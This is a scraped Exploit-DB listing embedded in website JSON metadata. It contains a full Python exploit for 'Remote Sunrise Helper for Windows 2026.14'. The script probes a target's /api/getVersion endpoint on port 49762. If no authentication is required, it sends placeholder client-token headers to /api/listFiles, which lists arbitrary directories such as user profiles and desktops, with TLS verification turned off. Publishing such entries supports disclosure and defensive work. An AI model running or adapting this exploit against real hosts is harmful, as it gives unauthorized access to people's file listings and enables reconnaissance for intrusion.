{“lastseen”:”2026-05-15T15:27:58″,”description”:”!\/usr\/bin\/env python3 Exploit Title: Remote Sunrise Helper for Windows 2026.14 – Unauthenticated File\/Directory Listing Date: 2026-04-20 Exploit Author: Chokri Hammedi Software: https:\/\/rs.ltd\/latest.php?os=win Vendor: https:\/\/rs.ltd\/ Version: 2026.14…”,”published”:”2026-05-15T00:00:00″,”modified”:”2026-05-15T00:00:00″,”type”:”exploitdb”,”title”:”Remote Sunrise Helper for Windows 2026.14 – Unauthenticated File\/Directory Listing”,”source”:””,”references”:””,”id”:”EDB-ID:52566″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\r\\n# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -\\r\\nUnauthenticated File\/Directory Listing\\r\\n# Date: 2026-04-20\\r\\n# Exploit Author: Chokri Hammedi\\r\\n# Software: https:\/\/rs.ltd\/latest.php?os=win\\r\\n# Vendor: https:\/\/rs.ltd\/\\r\\n# Version: 2026.14\\r\\n# Tested on: Windows 10 \/ Windows 11\\r\\n\\r\\nimport requests, json, sys, urllib3\\r\\nfrom urllib.parse import quote\\r\\nurllib3.disable_warnings()\\r\\n\\r\\nif len(sys.argv) \\u003c 2:\\r\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_ip\\u003e [path]\\”)\\r\\n print(f\\”Example: {sys.argv[0]} 192.168.1.103\\”)\\r\\n print(f\\”Example: {sys.argv[0]} 192.168.1.103 ‘C:\/Users’\\”)\\r\\n print(f\\”Example: {sys.argv[0]} 192.168.1.103 ‘%USERPROFILE%\/Desktop’\\”)\\r\\n sys.exit(1)\\r\\n\\r\\ntarget = sys.argv[1]\\r\\npath = sys.argv[2] if len(sys.argv) \\u003e 2 else \\”\\”\\r\\nurl = f\\”https:\/\/{target}:49762\\”\\r\\nheaders = {\\”X-HostName\\”: \\”a\\”, \\”X-ClientToken\\”: \\”a\\”, \\”X-HostFullModel\\”: \\”a\\”}\\r\\n\\r\\nr = requests.get(f\\”{url}\/api\/getVersion\\”, verify=False, timeout=5)\\r\\ndata = r.json()\\r\\n\\r\\nif data.get(\\”requires.auth\\”) == False:\\r\\n if path:\\r\\n encoded = quote(path, safe=”)\\r\\n r = requests.get(f\\”{url}\/api\/listFiles={encoded}\\”, headers=headers,\\r\\nverify=False)\\r\\n else:\\r\\n r = requests.get(f\\”{url}\/api\/listFiles\\”, headers=headers,\\r\\nverify=False)\\r\\n print(json.dumps(r.json(), indent=2))\\r\\nelse:\\r\\n print(\\”[*] Not vulnerable – authentication required\\”)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52566″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52566″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-15T15:27:58″,”description”:”!\/usr\/bin\/env python3 Exploit Title: Remote Sunrise Helper for Windows 2026.14 – Unauthenticated File\/Directory Listing Date: 2026-04-20 Exploit Author: Chokri Hammedi Software: https:\/\/rs.ltd\/latest.php?os=win Vendor: https:\/\/rs.ltd\/ Version:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-54847","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n